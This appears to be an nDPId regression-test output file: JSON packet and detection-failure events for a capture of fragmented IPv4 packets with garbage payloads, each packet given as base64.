+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1681,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218566,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1682,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1683,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1684,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1685,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218614,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1686,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1687,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1688,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1689,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218803,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218815,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219035,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219089,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219101,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 